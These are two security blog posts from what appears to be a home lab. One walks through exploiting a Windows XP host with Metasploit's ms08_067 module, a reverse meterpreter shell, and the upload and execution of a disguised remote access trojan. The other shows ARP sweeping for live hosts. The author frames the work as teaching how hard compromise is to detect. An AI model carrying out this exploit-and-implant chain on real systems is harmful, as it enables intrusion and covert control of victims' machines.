Even When You Know You’re Pwnd, It’s Hard To See

I’m playing around with a RAT showdown for a project I’m working on (teaser: It will be a comparison of SharK 3.1, Poison Ivy 2.3.2, and the GPL version of Immunity Inc’s Hydrogen).

While doing this, it really hit home how tough it is to tell a host has been owned if it’s being done right.

I know this anyway, having been on the incident response side of things for a number of years, so it’s not news really. It’s just that every now and then something springs back up from memory and smacks you clear across the face and screams “Oh Yeah!” in a Randy “Macho Man” Savage impression. This was one of those moments for me.

Let me give an example. I’ll do that, by combining it with a “how to use the metasploit framework to upload binaries” overview first.

So, step 1 is: get MSF3, and run the msfconsole. I’m going to skip that step here, and jump straight to setting the payload we want (meterpreter), and exploiting.

First, set the payload:

 msf > setg payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

Now pick everyone’s favorite exploit: ms08_067_netapi

 msf > use exploit/windows/smb/ms08_067_netapi

Let’s take a look at the options:

msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST     10.0.1.51        yes       The local address
   LPORT     4444             yes       The local port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

Some of these were set for me via my msfconsole.rc file (specifically, the LHOST setting for the payload.)
Now I pick the target I’ll be exploiting, and set it with the RHOST option:

msf exploit(ms08_067_netapi) > set RHOST 10.0.1.71
RHOST => 10.0.1.71

Once that’s all set, I can exploit the host:

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 10.0.1.51:4444 
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (10.0.1.51:4444 -> 10.0.1.71:1082)

BAM! I have a meterpreter session (ms08_067 isn’t called ‘old faithful’ for nothing.)

OK. Pentest done. Next B0x!

Unfortunately, that’s too often the case. This is sad really, because there’s so much more I can do with this. Like the following 😉

Let me start by finding out some information about the session, what privs I have on the host, and what process I’m running under:

 meterpreter > getuid
Server username: NT AUTHORITYSYSTEM

meterpreter > getpid
Current pid: 1108

meterpreter > ps

Process list
============

 PID   Name              Arch  Session  User                          Path
 ---   ----              ----  -------  ----                          ----
 0     [System Process]                                               
 4     System            x86   0        NT AUTHORITYSYSTEM           
 632   smss.exe          x86   0        NT AUTHORITYSYSTEM           SystemRootSystem32smss.exe
 680   csrss.exe         x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32csrss.exe
 704   winlogon.exe      x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32winlogon.exe
 748   services.exe      x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32services.exe
 764   lsass.exe         x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32lsass.exe
 940   svchost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32svchost.exe
 988   svchost.exe       x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32svchost.exe
 1108  svchost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSSystem32svchost.exe
 1184  svchost.exe       x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32svchost.exe
 1280  svchost.exe       x86   0        NT AUTHORITYLOCAL SERVICE    C:WINDOWSsystem32svchost.exe
 1448  spoolsv.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32spoolsv.exe
 1704  explorer.exe      x86   0        VIKTIM2viktim                C:WINDOWSExplorer.EXE
 1860  msdtc.exe         x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32msdtc.exe
 352   mqsvc.exe         x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32mqsvc.exe
 832   mqtgsvc.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32mqtgsvc.exe
 768   alg.exe           x86   0        NT AUTHORITYLOCAL SERVICE    C:WINDOWSSystem32alg.exe
 4032  sqlservr.exe      x86   0        NT AUTHORITYNETWORK SERVICE  c:Program FilesMicrosoft SQL ServerMSSQL.1MSSQLBinnsqlservr.exe
 4052  inetinfo.exe      x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32inetsrvinetinfo.exe
 4044  dllhost.exe       x86   0        VIKTIM2IWAM_VIKTIM2          C:WINDOWSsystem32dllhost.exe
 3692  dllhost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32dllhost.exe
 3896  IEXPLORE.EXE      x86   0        NT AUTHORITYSYSTEM           C:Program FilesInternet ExplorerIEXPLORE.EXE

Pretty cool. As expected, I’m running as the local system, and have attached to the svchost.exe process (pid# 1108).

If I look at the current working directory for the session, I see it’s the Windows system32 directory:

meterpreter > pwd
C:WINDOWSsystem32

That’s all very cool, but for this example, I want to interact with a user session.
Looking at the process list, I see that there’s a ‘viktim’ user logged in and that user is running explorer.exe in process 1704.

I’m going to try to switch to that process, using the handy migrate function provided by metasploit:

meterpreter > migrate 1704
[*] Migrating to 1704...
[*] Migration completed successfully.

meterpreter > getuid
Server username: VIKTIM2viktim

Excellent. I’ve now switched to a process running in the context of my target user.
Let me take a look at what my current directory is now:

meterpreter > pwd
C:Documents and Settingsviktim

What I want to do now is to upload my malware to the host.
In this case, I’ll be uploading a remote access trojan I built using sharK.
I’ve named the executable msdce32.exe in a sad attempt to be sneaky 😉
To upload the file to the victim host, I use the upload function in meterpreter:

 meterpreter > upload msdce32.exe
[*] uploading  : msdce32.exe -> msdce32.exe
[*] uploaded   : msdce32.exe -> msdce32.exe

Looks like the file upload was successful, so I try running it using the execute command.
This command takes a -f parameter with the filename to execute:

meterpreter > execute -f msdce32.exe
Process 292 created.

Very nice. Looking at my sharK console, I see that the process worked, because my victim has now connected to my SIN and I am able to use sharK to interact with it. (That will be a different post entirely, but here’s a screenshot of what it looks like. Note that the XP Desktop in the image below is actually a screen capture of the victim host that sharK provides when you mouseover the connection in the SIN):

Since I’m done exploiting my victim user, let me return back to the host and go back to a system process using the getsystem method in meterpreter:

meterpreter > getsystem
...got system (via technique 1).

Since I’m back at system, let me see if I can see my trojan running:

meterpreter > ps

Process list
============

 PID   Name              Arch  Session  User                          Path
 ---   ----              ----  -------  ----                          ----
 0     [System Process]                                               
 4     System            x86   0        NT AUTHORITYSYSTEM           
 632   smss.exe          x86   0        NT AUTHORITYSYSTEM           SystemRootSystem32smss.exe
 680   csrss.exe         x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32csrss.exe
 704   winlogon.exe      x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32winlogon.exe
 748   services.exe      x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32services.exe
 764   lsass.exe         x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32lsass.exe
 940   svchost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32svchost.exe
 988   svchost.exe       x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32svchost.exe
 1108  svchost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSSystem32svchost.exe
 1184  svchost.exe       x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32svchost.exe
 1280  svchost.exe       x86   0        NT AUTHORITYLOCAL SERVICE    C:WINDOWSsystem32svchost.exe
 1448  spoolsv.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32spoolsv.exe
 1704  explorer.exe      x86   0        VIKTIM2viktim                C:WINDOWSExplorer.EXE
 1860  msdtc.exe         x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32msdtc.exe
 352   mqsvc.exe         x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32mqsvc.exe
 832   mqtgsvc.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32mqtgsvc.exe
 768   alg.exe           x86   0        NT AUTHORITYLOCAL SERVICE    C:WINDOWSSystem32alg.exe
 4032  sqlservr.exe      x86   0        NT AUTHORITYNETWORK SERVICE  c:Program FilesMicrosoft SQL ServerMSSQL.1MSSQLBinnsqlservr.exe
 4052  inetinfo.exe      x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32inetsrvinetinfo.exe
 4044  dllhost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32dllhost.exe
 3692  dllhost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32dllhost.exe
 3896  IEXPLORE.EXE      x86   0        NT AUTHORITYSYSTEM           C:Program FilesInternet ExplorerIEXPLORE.EXE
 2988  IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet ExplorerIEXPLORE.EXE
 916   IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet ExplorerIEXPLORE.EXE
 3448  IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet Exploreriexplore.exe

Hmm.. Nothing really stands out.
For fun, I killed the server from the sharK SIN, and compare the process table without the RAT running:

meterpreter > ps

Process list
============

 PID   Name              Arch  Session  User                          Path
 ---   ----              ----  -------  ----                          ----
 0     [System Process]                                               
 4     System            x86   0        NT AUTHORITYSYSTEM           
 632   smss.exe          x86   0        NT AUTHORITYSYSTEM           SystemRootSystem32smss.exe
 680   csrss.exe         x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32csrss.exe
 704   winlogon.exe      x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32winlogon.exe
 748   services.exe      x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32services.exe
 764   lsass.exe         x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32lsass.exe
 940   svchost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32svchost.exe
 988   svchost.exe       x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32svchost.exe
 1108  svchost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSSystem32svchost.exe
 1184  svchost.exe       x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32svchost.exe
 1280  svchost.exe       x86   0        NT AUTHORITYLOCAL SERVICE    C:WINDOWSsystem32svchost.exe
 1448  spoolsv.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32spoolsv.exe
 1704  explorer.exe      x86   0        VIKTIM2viktim                C:WINDOWSExplorer.EXE
 1860  msdtc.exe         x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32msdtc.exe
 352   mqsvc.exe         x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32mqsvc.exe
 832   mqtgsvc.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32mqtgsvc.exe
 768   alg.exe           x86   0        NT AUTHORITYLOCAL SERVICE    C:WINDOWSSystem32alg.exe
 4032  sqlservr.exe      x86   0        NT AUTHORITYNETWORK SERVICE  c:Program FilesMicrosoft SQL ServerMSSQL.1MSSQLBinnsqlservr.exe
 4052  inetinfo.exe      x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32inetsrvinetinfo.exe
 4044  dllhost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32dllhost.exe
 3692  dllhost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32dllhost.exe
 3896  IEXPLORE.EXE      x86   0        NT AUTHORITYSYSTEM           C:Program FilesInternet ExplorerIEXPLORE.EXE
 2988  IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet ExplorerIEXPLORE.EXE
 3364  IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet Exploreriexplore.exe

If you can’t see a difference between the ‘infected’ and ‘not infected’ states, it’s because there’s not much of one.
Here’s the output from running the ‘diff’ command on the process tables:

 $ diff running notrunning
32,33c32
<  916   IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet ExplorerIEXPLORE.EXE
<  3448  IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet Exploreriexplore.exe
---
>  3364  IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet Exploreriexplore.exe

As you can see, it’s pretty tough to tell that this host is compromised just based on that.

You could see that it was compromised in the network traffic perhaps, as the RAT communicates with its control center. However, if a standard port was being used for the comms (say, TCP/80 for example) it could be difficult to tell even then without looking at the actual packets to examine the data.

Like I said, this wasn’t really something I just figured out, it was just a very nice, clearly defined example of it.

Finding Live Hosts on the Local Network Segment Using Metasploit

I’ve been learning ruby of late, and one way I’m doing that is by tearing into Metasploit. This has a few nice benefits for me:

* I get to see real code, written by smart people
* I get to learn metasploit a lot better
* I get to figure out how to write my own modules for metasploit

Since I’ve got a couple of arp flood/sweep scripts I’ve written in both perl and python, I figured that’d be a decent place to start.

It turns out that metasploit has a module already to do this (arp_sweep.rb), so I started out by taking a look at it. At first, I thought it didn’t do an active sweep, because it appeared to operate on a pcap file only. I tweeted a question to #metasploit about that, and was quickly informed by @hdmoore that the module does indeed work on the target network, I just needed to set the INTERFACE option.

At that point I realized I should probably stop relying on just the code, and start poking at things from within the console =)

First thing’s first, the arp_sweep module relies on pcaprub. Because I’m using Ubuntu 9.10 (Karmic Koala) vs. something like Backtrack, this module was not already configured. I found a great post over at darkoperator.com which explained, among other things, how to get this working. Here are the steps I took:

From inside my metasploit svn trunk directory (~/src/svn/metasploit/framework3/trunk in my case), I ran the following:

   $ cd external/pcaprub
   $ ruby extconf.rb && make
   $ sudo make install

Note that you need to have the libpcap-dev package in order for the compile of pcaprub to work.

Once I had that done, I returned to the main trunk directory, and ran msfconsole as root (that last bit is important, the arp sweep must be run as root in linux as far as I can tell, due to the fact that the module puts the interface into promiscuous mode to capture the ARP replies):

root:~/msf# ./msfconsole 

                 o                       8         o   o
                 8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 528 exploits - 248 auxiliary
+ -- --=[ 196 payloads - 23 encoders - 8 nops
       =[ svn r8703 updated today (2010.03.03)

The next thing that happens when I load msfconsole is that a bunch of stuff I have set in my msfconsole.rc gets loaded. If you want more information on what that means, Mubix has a great introduction to metasploit rc files at his practical exploitation site. Here’s what it looks like:

resource (/root/.msf3/msfconsole.rc)> color false
resource (/root/.msf3/msfconsole.rc)> setg RHOSTS 10.0.1.0/24
RHOSTS => 10.0.1.0/24
resource (/root/.msf3/msfconsole.rc)> setg RHOST 10.0.1.75
RHOST => 10.0.1.75
resource (/root/.msf3/msfconsole.rc)> setg LHOST 10.0.1.51
LHOST => 10.0.1.51

The LHOST setting reflects the IP address of my testing host, the RHOST setting is a victim host I have on my network specifically to attack, and the RHOSTS is my lab network. The color false is there for a few reasons, one of them being that I like transparent term windows and color text sometimes doesn’t play well with that.

The next step is to load the arp_sweep module and check out what options it takes. The module is in the auxiliary tree within metasploit, and can be loaded like so:

msf > use auxiliary/scanner/discovery/arp_sweep
msf auxiliary(arp_sweep) > show options

Module options:

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   PCAPFILE                    no        The name of the PCAP capture file to process
   RHOSTS     10.0.1.0/24      yes       The target address range or CIDR identifier
   SHOST                       yes       Source IP Address
   SMAC                        yes       Source MAC Address
   THREADS    1                yes       The number of concurrent threads
   TIMEOUT    500              yes       The number of seconds to wait for new data

You can see here some of the effects of the resource file that was loaded earlier, the RHOSTS option is already set for me. I need to set a couple of other things though to make this work, like the source IP address and MAC, as well as the aforementioned INTERFACE setting:

msf auxiliary(arp_sweep) > set SHOST 10.0.1.51
SHOST => 10.0.1.51
msf auxiliary(arp_sweep) > set INTERFACE wlan0
INTERFACE => wlan0

To set the SMAC option, I need to find the MAC address of my network adapter. Because I’m using wireless for my testing, I need to grab that information from the wlan0 interface. Fortunately, ifconfig provides this information. Even more fortunately, metasploit allows system commands to be run from within the console, so I can get this quite easily. :

msf auxiliary(arp_sweep) > ifconfig wlan0
[*] exec: ifconfig wlan0

wlan0     Link encap:Ethernet  HWaddr 00:1b:77:df:e9:ae  
          inet addr:10.0.1.51  Bcast:10.0.1.255  Mask:255.255.255.0
          inet6 addr: fe80::21b:77ff:fedf:e9ae/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:8229414 errors:0 dropped:0 overruns:0 frame:0
          TX packets:12543574 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:2582588276 (2.5 GB)  TX bytes:797473527 (797.4 MB)

Now that I have the MAC address (it’s presented in the HWaddr string above), I can set the last option:

msf auxiliary(arp_sweep) > set SMAC 00:1b:77:df:e9:ae
SMAC => 00:1b:77:df:e9:ae

One more thing to change; I like to increase the thread count to keep things moving quickly:

msf auxiliary(arp_sweep) > set THREADS 20
THREADS => 20

Now I run show options once more to make sure the changes I made look right:

msf auxiliary(arp_sweep) > show options

Module options:

   Name       Current Setting    Required  Description
   ----       ---------------    --------  -----------
   INTERFACE  wlan0              no        The name of the interface
   PCAPFILE                      no        The name of the PCAP capture file to process
   RHOSTS     10.0.1.0/24        yes       The target address range or CIDR identifier
   SHOST      10.0.1.51          yes       Source IP Address
   SMAC       00:1b:77:df:e9:ae  yes       Source MAC Address
   THREADS    20                 yes       The number of concurrent threads
   TIMEOUT    500                yes       The number of seconds to wait for new data

And then I can run the module:

msf auxiliary(arp_sweep) > run

[*] 10.0.1.1 appears to be up.
[*] 10.0.1.2 appears to be up.
[*] 10.0.1.5 appears to be up.
[*] 10.0.1.18 appears to be up.
[*] 10.0.1.49 appears to be up.
[*] 10.0.1.50 appears to be up.
[*] 10.0.1.75 appears to be up.
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

Excellent! I got a nice list of live hosts on the local network segement using ARP.

I’ll talk about why this is useful (over something like tcp portscanning the local network) in a blog post soon.

[edit]
I should mention by the way: if you wanted to do this outside of metasploit, you could do something like the following:

$ for i in `seq 0 254`; do sudo arping -I wlan0 -c1 -f 10.0.1.$i; done |grep Unicast

The results aren’t nearly as pretty (nor are they as quickly gotten):

Unicast reply from 10.0.1.1 [00:0E:08:ED:A8:B1]  2.028ms
Unicast reply from 10.0.1.2 [00:15:62:FF:D6:06]  1.248ms
Unicast reply from 10.0.1.5 [00:20:00:38:20:6C]  2.548ms
Unicast reply from 10.0.1.18 [00:1D:73:A4:0A:AD]  1.182ms
Unicast reply from 10.0.1.49 [00:1F:3C:CD:50:1C]  1.652ms
Unicast reply from 10.0.1.50 [00:21:97:47:6C:80]  1.766ms
Unicast reply from 10.0.1.75 [00:02:55:42:08:0D]  1.203ms